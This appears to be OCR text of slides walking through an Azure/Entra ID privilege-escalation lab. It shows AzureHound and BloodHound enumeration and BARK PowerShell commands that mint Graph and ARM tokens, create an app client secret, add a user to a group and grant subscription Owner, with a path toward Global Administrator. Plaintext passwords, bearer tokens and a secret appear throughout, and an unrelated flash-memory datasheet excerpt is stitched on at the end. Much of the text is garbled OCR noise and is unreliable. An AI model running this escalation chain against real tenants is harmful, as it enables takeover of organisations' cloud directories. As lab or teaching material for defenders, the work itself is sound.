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A Overview ) X
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Weak User

& Assigned roles weak_user@royraham1gmail.onmicrosoft.com

Member
& Administrative units 1
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User principal name weak_user@royraham1gmail.onmicrosoftcom [ Group memberships 1
BE Applications
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. Applications 0
w Licenses
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[ Devices Assigned roles 1
User type Member
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Enumeration

$ ./azurehound -u "weak_user@royrahamlgmail.onmicrosoft.com"” -p "Qupu7929!"
list —tenant "U6676c00-0522-Ueb3-bb21-f07eUB6UaSeb" —o weak_user.json

Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io

No configuration file located at /home/azureuser/.config/azurehound/config.json
collecting azure

finished
finished
finished
finished
finished
warning:
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listing
listing
listing
listing
listing

objects...

all
all
all
all
all

devices e
device owners
apps 3
app owners
users 6

unable to process azure management groups; either the organization has no management groups
or azurehound does not have the reader role on the root management group.
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subscriptions 0

automation accounts

resource groups

vm scale set role assignments
virtual machine scale sets

key vaults

web apps

logic app role assignments
container registries

resource group role assignments
function app role assignments
managed clusters

key vault role assignments
subscription role assignments
subscription user access admins
container registry role assignments
logic apps

managed cluster role assignments
virtual machine role assignments
function apps

automation account role assignments
web app role assignments

virtual machines

tenants 2

unable to continue processing role assignments for this role
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finished
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all
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groups 4

service principals

app role assignments
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service principal owners
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members for all groups

collection completed

shutting down gracefully, press ctrl+c

$
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Is Role Assignable: FALSE
Last Collected by BloodHound: 2024-11-28 11:21 GMT+2 (GMT +0200)
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Security Enabled: TRUE
Security Identifier:

| Path not found Bl rent Results

+ Inbound Object Control
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BLOODHOUND %' EXPLORE [ GROUP MANAGEMENT o

COMMUNITY EDITION

- Q SEARCH © PATHFINDING </> CYPHER - @ WEAK_ 1GMAIL T A

WEAK_USER@ROYRAHAM1GMAIL. ONMICROSOFT.COM ~  Object Information
Display Name: Weak User
Object 1D: 503626886-2CFE-43E2-97DE-DAASBIBC130A
Created: 2024-12:05 16:51 GMT+2 (GMT+0200)
Enabled: TRUE
Last Collected by BloodHound: 2024-12:05 17:03 GMT+2 (GMT+0200)
On Prem Sync Enabled: FALSE

WEAK_USER@ROYRAHAM1GMAIL.ONMICROSOFT.COM
Password Last Set: 2024-12-05 16:53 GMT+2 (GMT+0200)
Tenant ID: 46676C00-0522-4E83-8821-FOTE4864ASER
User Principal Name: weak_user @royraham1gmail onmicrosoft.com
User Type: Member
AZOwns
— SUPER SECURE APPLICATION@ROYRAHAM1GMAIL.ONMICROSOFT.COM
~ Outbound Object Control 1

O SUPER SECURE APPLICATION@ROYRAHAM1GMAIL...

+ Inbound Object Control 9
iul Layout Export Search Current Results b

r” -] . H_qj r” |-| + 1 ASY 'l_ 'IASX\XN\,,~S'IX ” |;, q_ ” X S: XX I:\-”SY :VXX\- =” |_‘| "
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AZOwnsOwner * Weak User _ * _ - S * P 4 X v g 1xx78% x 0 47 o 71

< v oA A ~

®uper Secure Application ~ « Temantt App Registration

Super Secure Applicationd « « 1t ] « $ 4 XX 0 X Xy 44 L Oso{3 « x

= SUPER SECURE APPLICATION@ROYRAHAMIGMAIL... =

— Object Information

Display Name: Super Secure Application
Object ID: B66GBEDA-21E9-4E48-B15D-0D0D2D600433
Service Principal 1D:

057BD10F-0779-40DA-8E33-CI2F3FAF92ET

App ID: bé66beda-21e9-4e48-b1 5d-0d0d2d600433
Created: 2024-11-21 10:10 GMT+2 (GMT+0200)
Last Collected by BloodHound: 2024-11-28 11:21 GMT+2 (GMT+0200)
Publisher Domain: royraham1gmail.onmicrosoft.com
Sign In Audience: Azure ADMyOrg
Tenant ID: 46676C00-0522-4EB3-BB21-FO7E4B04A5EB
+ Inbound Object Control 7

Serviceyt « xssT x ¥ s X X P L LGS Xp AR A Y X7 9 TS
1t Super Secure Application1 « « 4w _Service Principal s _x "s.« ~._ _ +Rgincipal ID

denant
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Super Secure + ~ «+"x § Y () Super Secure Application 1 < «~ 1 v _ Sepvice Principal

AZMGDirectory_ReadWrite_All

SUPER SECURE APPLICATION@DEFAULT DIRECTORY

- @ SUPER SECURE APPLICATION@DEFAULT DIRECTORY A

A

Yoo ©ox X 4 xx"s 40 x| Adplication

MICROSOFT GRAPH@DEFAULT DIRECTORY

- Q SEARCH © PATHFINDING </> CYPHER

@ (@) SUPER SECURE APPLICATION@DEFAULT DIRECTC

~  Object Information
® n Display Name: SUPER SECURE APPLICATION
Object ID: 057BD10F-0779-40DA-8E33-CI2F3F4F92E7
App Display Name: Super Secure Application
HELLO2@DEFAULT DIRECTORY App ID: 057BD10F-0779-40DA-8E33-CI2F3F4F92E7
App Owner 1D:
Enabled: TRUE
DEVOPS@DEFAULT DIF L5t Collected by BloodHound: 2024-12:04 1228 GMT+2 (GMT+0200)
£ZMCCadowmer Service Principal Type: Application
AZMGAddMember Tenant ID: 46676C00-0522-4E83-B821-FO7E4864A5E8

AZMGAddMember

AZMGAddOwner

+ Inbound Object Control 6
SUPER SECURE APPLICATION@DEFAULT DIRECTORY
~ Outbound Object Control 4

@ DEVOPS@DEFAULT DIRECTORY
@ HELLO2@DEFAULT DIRECTORY
@ WORLD@DEFAULT DIRECTORY
AZMGAddMember

AZMGAddMember @ HELLO@DEFAULT DIRECTORY
WORLD@DEFAULT DIRECTORY AZMGAddOwner

~  Outbound Abusable App Role Assignments 1

@ MICROSOFT GRAPH@DEFAULT DIRECTORY
HELLO@DEFAULT DIRECTORY
1 Layout Export  Search Current Results

AZMGAddOwner
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AZMGAddMember

KA HIx " b
~ A~ v
~», BLOODHOUN %® EXPLORE [ GROUP MANAGEMENT o
LU COMMUNITY EDITION —
- Q SEARCH © PATHFINDING </> CYPHER — (@ WEAK_USER@ROYRAHAM1GMAIL.ONMICROSOFT... ~ A
® (@ WEAK_USER@ROYRAHAM1GMAIL. ONMICROSOF —  Object Information
‘ Y]

© (@) DEVOPS@DEFAULT DIRECTORY Display Name: Weak User
Object ID: 50362886-2CFE-43£2-97DE-DAASB3EC13DA
Created: 2024-12-05 16:51 GMT+2 (GMT+0200)
m WEAK_USER@ROYRAHAM1GMAIL.ONMICROSOFT.COM Enabled: TRUE
Last Collected by BloodHound: 2024-12:05 17:03 GMT+2 (GMT+0200)
AZOwns On Prem Sync Enabled: FALSE
Password Last Set: 2024-12-05 1653 GMT+2 (GMT+0200)

N\ Tenant ID: 46676C00-0522-4E83-BB21-FO7E4B64ASEB

;’j g SUPER SECURE APPLICATION@ROYRAHAM1GMAIL.ONMICROSOFT.COM
User Principal Name: weak_user@royraham1gmail.onmicrosoft.com
User Type: Member

AZRunsAs

SUPER SECURE APPLICATION@DEFAULT DIRECTORY

AZMGAddOwner

DEVOPS@DEFAULT DIRECTORY

— Outbound Object Control 1

O SUPER SECURE APPLICATION@ROYRAHAM1GMAIL....

+ Inbound Object Control

jul Layout Export Search Current Results
(SERENTENE
Weak User _s 1 s _p st x . Grapht Access Token 41 _ ¢
Super Secure Applicatien~ « App Registratiom Secret 1 | 9~
L _r0 xX s ” ({0Client Secrgt Object IDt - x . Grapht Access Token 1 _ 1

Super Secure Applicatien~ « Sesvice Principal

@evops - x 1 ~rsembermt Weak Usef -Super Secure Applicationx _ « _ 4+ * 9"
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r@UID: ~ x Sitbscription IBETenant IDL | 01 x | X 5,0 st {p ., X Xxs, X

Developer Tool$ + © « = 1 _ .t~ L AzureL L 1 -4 X% 7 k7 1 44,56

T L I B Lo
1@ xS S ) o X WUID. . Te, L JUUIDEUUIDT 4% L X b S0 410
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e GX o s X L x4 X dw " x4 IGlibby
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Se o Glibbyt 0 A A A A e ser 44 21 s BARKE L L L

1 hdx s, 4 sx_ps. . ¢ GraphAPiTt Weak User _ - _ » % Access Token 1 _ "~
GetMSGraphTokenWithUsernamePassword x « x>

~ > ~ ~

PS D:\Everything> Get-MSGraphTokenWithUsernamePassword -Username "weak_user@royrahamlgmail.onmicrosoft.com"

-Password "Qupu7929!" -TenantID "46676c00-0522-4eb3-bb21-f07e4864a5eb™

token_type : Bearer

scope : email openid profile https://graph.microsoft.com/Agreement.Read.All https://graph.microsoft.com/Agreement.ReadwWrite.All https:
https://graph.microsoft. com/AgreementAcceptance.Read.Al11 https://graph.microsoft. com/AuditLog.Read.All https://graph.microsoft|
https://graph.microsoft.com/Directory.ReadWrite.All https://graph.microsoft.com/Group.Readwrite.Al1l https://graph.microsoft.cc
https://graph.microsoft.com/Policy.ReadWrite. TrustFramework https://graph.microsoft.com/PrivilegedAccess.ReadWrite.AzureAD
https://graph.microsoft.com/PrivilegedAccess.ReadWrite. AzureADGroup https://graph.microsoft.com/PrivilegedAccess.Readwrite.Azu
https://graph.microsoft.com/TrustFrameworkKeySet.Readwrite.Al1l https://graph.microsoft.com/User.Invite.All https://graph.micrg

expires_in : 4436

ext_expires_in : 4436

access_token : eyJ0eXAi01JKV1QiLCIub25 JZSI6I]YxMmxIW]dnc3ZHeEVWCE4WWWZ FVmY3eUo1Uy1wOGVIZG9zbVRLSFVKVTQILCIhbGci01ISUZI1INT IsIngldCI6Inp4ZWcy VO
090cFRrd041R21 TWWN1VGROQZZKMCJ9. eyIhdwQi01 JodHRwczovL 2dyYXBoLmlpY3Jvc29mdCS 32017 LCI pc3Mi0i JodHRwezovL 3NOcyS 3awWSkb3dzLmS 1dC8ON;|
iwiaWFOIjoxNzMzMDQwNzYOLCIuYmYi03jE3MZMwNDA3NJQs ImV4 cCIGMTczMZAONTUWMSwi YWNJ dCI6MCwi YWNyI joiMSIsImFpbyI6IkFUUUFSLZhZQUFBQXINdmF
k1L2tIMHpEQmI tWwM2cmxmU2k1VEJESnkiLCIhbXI 10151 cHdkI10s ImFwcF9kaXNwbGFSbmFtZSI6IkF6dXI1IEFjdG]2ZSBEaX]1Y3RvenkgUGI3ZXITaGVsbCIs
JMIIOYTd10DKOI iwi YXBwaWRhY3I107 IwIiwiaWR0eXAi01J1c2VyIiwiaXBhZGRyIjoiNjIuOTAuMTkwL j cwIiwibmFtZSI6I1d1YWsgVXNTciIsIm9pZCI6IT1iN
InBsYXRmIjoiMyIsInB1lawQiOiIxMDAZMJAWNDAL1QOYyRIKkSIiwicmgiOi IxLkFVCOFBR3huUm1IRnMwNjdIZkItU0OdTbDZ 3TUFBQUFBQUFBQXdBQUFBQUFBQUFCTE|
WdyZWVEZWS 0L 13 1YWRXcm10Z S5 BbGwgQWdyZWVZWS O0QWNIZXBOYWS 3ZS5 SZWFkIEFncmV1bWVudEF 3 Y2VwdGFuY2UuUmVhZCS BbGwgQXVkaXRMb2 culUmVhZC5 BbGn
I5L1ITYWRXcm10ZS5BbGwgZW1lhawwgR3JvdXAuUmVhZFdyaXR1LkFsbCBIZGVudG10eVByb3ZpZGVyL111YWRXcm10ZS58bGwgb3B1bm1kIFBvbG]jeS5SZWFkV3p)
SZWFkV3JpdGUuQXplcmVBRCBQcm12aWx1Z2VKQWNIZXNzL 131 YWRXcm10Z S5 BenVyZUFER3JvdXAgUHI pdm 1sZWd1ZEFjY2VzcyS SZWFkV3J pdGUuQXplcmVSZXNvd|
ZWFkV3JpdGUuQWxs IFVZZXIuSWS 2aXR1LkFsbCIsInN1Y1I613jBILXdFNESZZOt YNVVCOEK3RXISb19aTms Ubkd2amVZZ jZ5M1) 6WUF4UGs 1 LCIOZWS hbnRfcmVnah
TRTYjMtYmIyMS1nMDdTNDg2NGE1ZWI1LCI1bm1 xdWVfbmFtZSI6Ind1YWtfdXN1ckByb31yYWhhbTFnbWFpbCSvbmlpY3Jvc29mdCS jb201LCI1cG4101I3ZWFrX3y|
widXRpIjoiwk4zNVZWN30zVVCcXLXNpYOhUOEIBQSISInZ1ciI6IJEUMCISIndpZHMi0151Y)cSZmImNGQEM2VmOSOON] g5 LTgXNDMENZZ iMTKOZTgINTASI10sInht|
aTG1qYnIwSGVNeHNOX1IMODZmdDVHNW14aFRBZVIIRnpMS0Z 1dUptQSI9ILCI4bXNFdGNkdCIGMTY3MDMZOTk4M30. bpG6YD2W2zX5 YOH71I8IN-CccRpfPhbbFAZIq_|
Lx2d5X6FThkaStRt2kMglukK-8-1wjXs8LKpko2L _U0OcUVpLaU1Up2ZTjcjjd3kgpVwuXNDKnDbzPgAndhdSO60UkYd_LqvaK43j7Z1S1IHUQuOtRd29IwbfWZDQNIX
2eh33QKa_WBIsG)zW1Y0z3TsgOPaXC30LYdvZWa5ud4Nf5C1BgYIo1Z0wiLqEGKDNRO3YI7uVC4Z1Z1hmvFGgg

PS D:\Everything>

shx ol S 0 dd 4D kg IS K s e TX&D X b1 el s

® " | *Adcess Tokegh @ « sx| X

A

Super Secure Applicatien~ « App Registratiom Secret, 1 : x 7]

PS D:\Everything> $token = "eyJl0eXAi101JKV1QiLCIub253ZSI6I]YxMmx C3ZHeEVWCE4WWWZFVmY 3eUo1Uy1wOGVIZG9zbVRLSFVKVTQiLCIhbGciC
PS D:\Everything> New-EntraAppSecret -AppRegObjectID "d23cd958-9130-48eb-97b6-5a424e5c8325" -Token $Stoken

Name value

;pp&egobjectld d23c;95849130—48eb497b6-5a424e$c832$

AppRegSecretValue tnM8Q~21r TSVWYHyxSvuEAeNexnsUFGPRukhpc
AppRegAppId b666beda-21e9-4e48-b15d-0d0d2d600433

PS D:\Everything>
® 1L . s *xSecrett - X « .

~ X ‘Atcess Token 1 _ sl GetMSGraphTokenWithClientCredentials x « > 7 |

>v ~ A

YSuper Secure Applicatien~ « Service Princip#l

PS D:\Everything> Get-MSGraphTokenWithClientCredentials -ClientID “"b666beda-21e9-4e48-b15d 0d2d600433" TientSecret "tnM8Q~211

Bearer 3599 eyJ0eXAi01IKV1QiLCIub253ZSI6IFhTUFIYY3NoUHZMNDNL aVIxM2xsMW8OMGpPZDQS eHc3VnZVdmt YNnolbVEi LCI|

PS D:\Everything>

Devops « x 1 «rsembermt WeakUser: «, 4 | ¥ X % v "X {1 sk X
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Weak . _Access Tokah - +s 1« |  AddMemberToEntraGroup ! * « xs . s C Xs ?

> A

YSuper Secure Applicatian_- wOWser

PS D:\Everything> Add-MemberToEntraGroup -PrincipalID "5d362b86-2cfe-43e2-97de-daaSb3bcl3da"
-TargetGroupId "6c771lec5-176a-4157-bbb6-f4ffb7fc7dd6"” -Token $token

PS D:\Everything>

X v gy 1 L LFWUIDE SE 4 X T s 1 s X T s x| XX xS

v o~ ~ ~ A

@TUUID, | Tied v o TX s o = 4 L

v o~ > ~

XL O WARK X " O fOU XDk X" Glibbyd L ] X 4 Xl 4 w0

Weak . _ © _ ¢St _~ sl My ~ OUserAuthHandler ~ « Clasg A _ - ~ ™ _« . s

Graph ARt Access Token * « Nodget_access tokem 41 « « 7 % ¥ . . _Adurar User
YVeak User _ - _ , & %

tenant_1id,

Accesst _ x _ H I, {Weak User x GraphOperations ~ « Class _Instancex ” ~ J.{1 + 1

Hbi | x5 _ SToken

s 4.+ %% s 31 »1xSuper Secure Application _ Application IB¢ - ~Yy 4 7 |

X+ Supér Secure Applicatior « « 1_.! TSecret, 1 [“xI% 1+ HOpid_from_name

Yooncreate_secret 1 « « 7 X
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Graph ARt Access Tokeh 1 _ s 'Ly . 3@0SPNAuthHandler ~ « Clasg _ _ - s" * _*
Y380Super Secure Applicatien~ « SesvicePrincipalt ~ * *

a

_ > ’Swiper Secure Application x *GraphOperations _ 1 « 4 X*"x. <014 1+«

~ ~

Tl 1 40 41 2 4 xDeV¥opss « X LBt o0 X <" L id_from_names {1 . « 7 X

Y4Gbadd_membep {1 « « 7 % sX £ Xx X « Membem WeakUser _ - _ i s 4  x7

¥ 9, 145 -1 . .Glibbyl . IOutputrt ™ 1 s

¥ 10 deed X 1 x XX 47

7y Ee:vops | Members X

)
)

© Overview |- Add members [% Bulk operations ") Refresh Manage view t feedback?
X Diagnose and solve problems

Direct members All members
Vv Manage S

il Properties

Y Add filter
&2 Members
1 group member found

22 Owners

4, Roles and administrators ]’1 Name 1 Type Email User type Object Id Device Id

% Administrative units —
‘ ‘ . Weak User User Member 5d362b86-2cfe-43e2-97de-daa5b3bc13da
Group memberships o

B! Applications
@ Licenses
Azure role assignments

> Activity

Troubleshooting + Support

P _ls, s SDévopss - X X« Membergt - . WeakUser _ - _ 8 < xS 4"

~ ~ o~ ~

® " x J 2 OT P s
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Phase 2

M4 Ysq0s” s , 1 IS DBVOPSS «~ X % 1% X 4 417 X" T KL S« x {sI6X ] § «

dslobal Administrator

x " Te Is x xWeakUser, - xs xAzyreHoundd .« J s+ | X x { .ss 77
x " Tenantt © ! A X X il s X0 o8 4 4 5w XX [7{0d DBVOopsS X Xpa1X. X

@f—"l\q-v-l”‘ls“-l-lxx‘_sx

Y I Xpw s XX s]l x 8 I X « %X ”
. AT > ~

$ ./azurehound -u "weak_user@royrahamlgmail.onmicrosoft.com” -p "Qupu7929!" list ——tenan
AzureHound v©.0.0
Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io

No configuration file located at /home/azureuser/.config/azurehound/config.json
collecting azure objects...
finished listing all devices ]
finished listing all device owners
finished listing all apps 3
finished listing all subscriptions
finished listing all users 6
finished listing all groups 4
finished listing all app owners
unable to continue processing role assignments for this role

adblb3U6-Ud3e-Ue8b-98f8-753987bell970
finished listing all resource groups
finished listing members for all groups
finished listing all group owners
finished listing all subscription role assignments
finished listing all subscription user access admins
finished listing all tenants 2
finished listing all key vaults
finished listing all key vault role assignments
finished listing all roles 113
finished listing all virtual machine scale sets
finished listing all vm scale set role assignments
finished listing all virtual machine role assignments
finished listing all virtual machines
finished listing all container registries
finished listing all container registry role assignments
finished listing all managed clusters
finished listing all managed cluster role assignments
finished listing all resource group role assignments
finished listing all role assignments
finished listing all service principals 96
finished listing all app role assignments
finished listing all service principal owners
finished listing all management groups 1
finished listing all function apps
finished listing all automation accounts
finished listing all management group role assignments
finished listing all logic apps
finished listing all management group descendants
finished listing all automation account role assignments
finished listing all web apps
finished listing all web app role assignments
finished listing all logic app role assignments
finished listing all function app role assignments
collection completed 1.167148134Us

shutting down gracefully, press ctrl+c again to force

$

17,1 $2 x 8 » 588X I =x Is % X xx~""va1){LsJ',sx~AILxAs<s<,,L“JZ,_V\"

S x o ox g s L X X, 4 xx"BldodHoundr . ! 1Qutputit | X % <k {4 X X .
MoX s o dl 1447 s {5,
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’ .= ” . x n . = ”
1L~ S$spr 4 17 4s¥ 7 x s ® o s o X "{xyBloddHoundr Outputrt ¢ -~ _ 1
.. . . X 5 oy ox
Global Administratar - * « <~ st _#SH4Ld ~r_ 4 %d <« T4 | L
Zo, BLOODHOU %* EXPLORE [ GROUP MANAGEMENT o
4, COMMUNITY EDITION ——
- Q, SEARCH & PATHFINDING <[> CYPHER — (@) WEAK_USER@ROYRAHAMIGMAIL.ONMICROSOFT... A
® (@ WEAK_USER@ROYRAHAMIGMAIL ONMICROSOF —  Object Information
: v
© (@ GLOBAL ADMINISTRATOR@DEFAULT DIRECTORY Display Name: Weak User
Object 10: 9B5C9D73-8462-402F-8675-85137CA4CALA
Created: 2024-11-21 10:09 GMT+2 (GMT+0200)
GLOBAL ADMINISTRATOR@DEFAULT DIRECTORY
Enabled: TRUE
AZMGGrantRole
Last Collected by BloodHound: 20241201 11:06 GMT+2 (GMT+0200)
o BACKUP-LOGICAPP@DEFAULT DIRECTORY
On Prem Sync Enabled: FALSE
AZManagedidentity
Password Last Set: 2024-11-24 13:49 GMT+2 (GMT+0200)
@m"“”“‘c‘” Tenant ID: 46676C00-0522-4EB3-8821-FOTEAB64ASER
AZContains User Principal Name: weak_user@royraham1gmail.onmicrosoft.com
User Type: Member
@ DEVOPSRG
AZContains + Member of 1
AZUserAccessAdministrator
@nempsgomurnmscmm
AZO!
by + Outbound Object Control 2
AZMemberOf
Layout Export Search Current Results @wr:;x_useﬁ:RavﬁAHAM:EMmL ONMICROSOFTCOM <+ Inbound Object Control 9

¥ ¢ %« *x «"GbbalAdministratom 4 - ! {'H { s
@evops - x % X XNMeakUser _ - _ _ §

test-+ ~ « Subscription User Access Administrater~ « Rote: + ~*4 Devopss « x * s

D .

®ubscription
devopsrg- ~ ~ Resource Group 1 test-subscriptiond x %
®dackuplogicapp- ~ ~ Lo§icAppr 1 devopsrgd *x -
®dackuplogicapp- ~ « Managed Identity . -backuplogicapp- ~ «~ Logic Apgg 1
_L_JlGlobal Administrator _Rolat - «« 4 " : 3+ .14y Managed Identitg

a

Xpixs 4 shisZl*x 1t _ A" SSthKsH 1« A4S s | o v A X % ]+«
17X r 34k s DT oAb s g xS, x XA WY b X ]

N

@ * Sectiom ¥ L H p xx_ 14 YAZUFG® - * _ +Xd A S LB S

1L s o dYses - . L, User Access Administrater~- « Rolet sz 4 1
X~ LS + 4 -+ mRole« 1 " .~ s 17s{ Snbscription / Resource Group / Resource

RSN

L X068 . X %% *Security Principals L |4 _ X0Delopss « X XIS, « AP 7 X X L .S

s s I x d 17 s ¥, teBt-subscription ~ « Subscriptiom . S ‘Role

dest-subscription. Owner. _Rolex _ .« 41" . * Webk User

~

My
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oIt 1K T X s LIgsxAzure RME © X « _ S8 Y] o] Jxs o« oox D]

Qest-subscriptionr 1 + 1 « « +r, #RResourc& * mResource Group

+ 1 dlevopsrg 4 * - d@&vopsrg- - -~ Resource Group 1 $& - SHResource Group . [ 1 *
Weakmr « 1S s « « x @80 @ O dlLogic Appr * backuplogicapp- ~ ~ Resource
dackuplogicapp. _+ YOwner: x 41s User

Lagic Apg ‘ 1 x .~ %] 4 sackuplogicapp. ,Owner- * Weak Usem + *x _ "2~ 1+

'

Managed Identityt _ _ - _s_‘Logic Apm s * 4 , 3K, (& 8 0 SP X «f .S 4 B
Florid e % HE X 1 4~ s« | 4l «Managed Identity ¢ ¥ .~ 1 X+ 1= Hx x5+ ]
Pxows oo x g 40 o X 7] D X XX i 4 XX osd 1 Ty ]
Managedidentities. s ¢ $ « X x | - s Lv_ L Se XBX T, 8 S x Xy

Andyr «~ X7 S « SvXxqs” .5 v Adurer S Lo 1. XS o Nd LT IX X

Logic Apps, Functiort - * 4 « ~ ¥ ¥ d X { £ « si*%  Kanaged Identities Robbins

A2 s AT wse Tis X x x4 XX L, v % | e Apps, Automation Accounts
®4 vy 1
Workflowrt - + 1 x ~+ <K &@OP'Whanaged Identité - _+_x ¢dckuplogicappr ~» * 1.7

Managedr® . _Access Tokah - «~* x "Lyl x "x¥ | { " XWorkflowm Logic Apgt 1 _ 1 141y s
Hoackuplogicapp d % ~ U’ sLogic Apg *x - 1 ldentity

API_ backuplogicapp- ~ ~ Managed Identitw ! & s . .Global Administratar 1 ~ ! r&

L lv4” txdX$ | s« . xXRoleManagement.ReadWrite.Directory~ «-”_ Permission

APl s ¢s ., 4> . Xxx 3 .Y .Y QGlwbal Administraton _Rolgt - +~ x ¥ , « ¥

®ermission

DXL Xy f{LI=Jx PR I P R TN S Iy = woe X L X o sy

ToxUxy™ osdl o ox ", 0« Rolgt <« 1 ¢ ksill 4 2 1 Agure Active Directory « . 0L
APt s « _ .Sérvice Principais: - £ 1 vxx" 4«4 .~ SAPI*Pg&rmissions » « " « ¥ R« S

LSXE x My x, X 4w { X AndyRobbins _r X xo xS x P Xx . o 4® 4

* L1 xilx L APY Permissions | 4« XSG« 1% xXOx 3 oxdF x | 4x § x4 4 X

~ ~ > ~

,Zx{:]‘\2<-|¢;|xv,s\s()¢>fx,,“vw.|yst(,L=xy,L,:-|sLZ S ¢ X I X . N S

~ ~ < ~ > ~

@L:\.X ~ r S

~ ~

x § « ~RoleManagement.ReadWrite.Directoty- _ ~ 5 s ¥ 7 {X¥ 8 , « _ ¥

" 14 JAPIPermissiam 4~ 4 xd L X ¥ o o 1 Jrd XX7.] Reles © 447 x5

X@ O x YA CF LA DS AX L Xxxss o Lise X < Service Principal 1:x_ 4 1 «

~ ~
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https://digitalwhisper.co.il/files/Zines/0xA7/DW167-1-ManagedIdentitiesAzure.pdf
https://posts.specterops.io/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54
https://posts.specterops.io/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54
https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48

v 17 T X I x s Xxx T s ¢ CAPI Permissialt ¢+ s d S . L sS

x Tl X xos sspX & s ¥ 4 (Séryice Principals x % " ¢ 4 5 ¥ XX s

~ ~ v

dindy Robbins » _ ~ @ X 1 . x T osx{ 4|

~ >

Glibby: X .= £.X1 < BARK x

ok 2%XS DX o PR dsp ux X, T ]

® ! x % {* Pdwershelft : * x1: "

Access Token 1 _ s 1 | GetAzureRMTokenWithUsernamePasswérd * « % s”L 4 1

RM s ~ « X $AZure Resource ManageWeak User _ - _ » & *

PS D:\Everything> Get-AzureRMTokenWithUsernamePassword -Username "weak_user@royrahamlgmail.onmicrosoft.com™ -Password "Qupu7929!" -TenantID "46676c00-(

token_type : Bearer
: https://management. azure. com/user_impersonation https://management.azure.com/.default
4259

: 4259

access : eyJ0eXAi0iIKV1QiLCIhbGei0T ISUZI1NG IsIngldCI6Inp4ZWeyV0S0CFRrd041R21 TWWNLVGROQZZKMCT s Imt pZCT6 Inp4ZWcyVO90cFRr d041R21 TWWNLVGROQZZKMCI9. ¢
cmUu¥29tT w1 aXNzIjoiaHROCHM6Ly 9zdHMud2 1uZGI3cy5uZXQvNDY2NZZ JMDAtMDUYM | 00ZWIzLWI1MELZ JA3ZTQ4NJRhNWV Ly Is Im] hdC I6MTczMzAZNTY205w1 bmImI,
mFjci I617E1LCIhaWgi07 JBVFFBe584WUFBQUE 3dGZ SYWNZWn IyZ 2dKNDL ZWUL YS 3MwVWIqL ZNQM110YTZI c2F 1RE4ZMFAZUFBUSThIOTIDbVhnbk8xROt 1UMSC Liwi YWLy I
UtNGI 3NCDS5 YmZ kL WRhYzTyNGE3Y] g5NC Is ImFwcG 1 kYiNy T 01MCTs Imdyb3Viucy 6y TyZwMwOGRKZC 000 GVmL TRmY j ULOTBmZC 01MzRkMmUS ODMONZY 1 XSwi aWRDEXA104 3
ibmFtZSI611d1YWsgVXN] ciIs Im9pZCI6I7 11 NWM5ZDezL TQONF TENDAYZ 1 04Nj c1L Tg1MTM 3Y2EOY2E0YS Is InB1aWQi 07 IxMDAZM jAWNDALQOYyR k5 Liwi cmgiOi IxLkFVs
dXRkUHVF UGF 3Zmoy TUJOTEFDNUXBQS41 LCIZY3A101 J11€2Vy X2 T£cGVyc2 9uYXRpb241 LC I1zdWT 101 JUN2Z5 ZNGY4MVZ JdnNYb TYwdkOWL VFUMGR 3 cEVIM  Vyd FMEVAMXUHVy NI
WIiMJEtZIA3ZTQANRhNWV Iiwi dWSpckV1X25hbwUiod X3VZZXIAcmIS cmFOYWOXZ 21hawwub25+t aWNyb3NvZnQuY29tTiwi dXBuljoid2Vhaldlc2VyQHIveXIhaG
I6TkRucksxcWpNcDBtd3dvOGdpV2toQVETLCI2ZXT 107 IxL A1 LCI3aWRZTjpbImI30WZ 173 RkL TN1Z kENDY4DS04MTQzL Te2YE5 NGUANTUWOSIdLC 14bXNF aWRyZ Wi 07 T:
32u83j pEk]5pY70CZxVR36yRGUDj 9SMIBEXTE 35 creqssUvBaysZQRSAKL j CAKrHITC 3g4vo5 IvMbED1G19A4 TRLI3-1_oBxxkfzM71bFyZ jqZuROI8ZK1cMn5-113851FBAUI
_qmgAC1q0808tSA_UHWTh7Phxt_7GK-gDROmznknGN1 skPGObEULKN_4mvL UmGFDgi 0JugHOIFL1 -kqzaMGLEhatL tuPUHeIpt 1r0Q1vF052A9IX2VNGGWVEES dQ6k7 GIvIPC)

PS5 D:\Everything>

F 4 vvid X RMiIT+ (Graph ARt s {1 Weak User x * 7 v 4 x Aceess Tokeh ¥ x _ 1
s A T p s P e 4 L S Xt s S e XX T X XD X e LTS X

Resourcert « x _ . * s ¢ test-subscription. Owner. _Rolat : - Weak User, _ * _ | L

®™anager AP

test- . _Owner Rol& - « Weak Usem « 1 " | {2 x *  *Aceess Toketh . _ - ", |
WewAzureRMRoleAssignment! x « xs .s € ¥s  gibscription

PS C:\Users\Roy> New-AzureRMRoleAssignment

properties

@{roleDefinitionId=/subscriptions/9a9cf9b6-c236-Ubcl-bT65-ed71c1d05618/providers/Microsoft. Authorization/roleDefinit. ..

PS C:\Users\Roy>

1o« Xp147.81 v:,,Y>~S|_S~-| X o ASX X {1yl x?” vsl Txs sy *s | x (@ . DA I

~ -~ A >

s e S il 4 s 16 T 1 Developer Toold Xt ] 4 A v Asthsx oL
® ! xsol xw £ oJUIDS | ox o %0 47 X x TR "1- AzureRMRolelD
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I (w8 8 x x % X

ittt ol A s e e
DEFAULT DIRECTORY (RO
Home riptions
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Features

* Fast Read Access Time —70 ns
5-volt Only Reprogramming
Page Program Operation
— Single Cycle Reprogram (Erase and Program)
- Internal Address and Data Latches for 64 Bytes
Internal Program Control and Timer
o and Data P
Fast Program Cycle Times
— Page (64 Byte) Program Time — 10 ms
— Chip Erase Time-10 ms
DATA Polling for End of Program Detection
Low-power Dissipation
- 50 mA Active Current
— 300 yA CMOS Standby Current
Typical Endurance > 10,000 Cycles
Single 5V + 10% Supply
CMOS and TTL Compatible Inputs and Outputs
Commercial and Industrial Temperature Ranges

Description

The AT29C256 is a five-volt-only in-system Flash programmable and erasable read
only memory (PEROM). Its 256K of memory is organized as 32,768 words by 8 bits.
Manufactured with Atmel’s advanced nonvolatile CMOS technology, the device offers
access times to 70 ns with power dissipation of just 275 mW. When the device is
deselected, the CMOS standby current is less than 300 pA. The device endurance is
such that any sector can typically be written to in excess of 10,000 times.

Pin Configurations DIP Top View
Pin Name ‘ Function WEC|1 28[1vee
A2002 271A14
A0 - A14 | Addresses a7]3 26[1A13
pr— T A4 25[1A8
CE | Chip Enable ascls 24[1A9
T— T A4Cl6 231 A1
OE Output Enable Asc]7 2[10E
e A20]8 217A10
WE Write Enable AtC]s 20[1CE
AoC]10 19 ] vo7
1/00 - /07 Data Inputs/Outputs vood] 11 18 (1106
o112 17 [Jvos
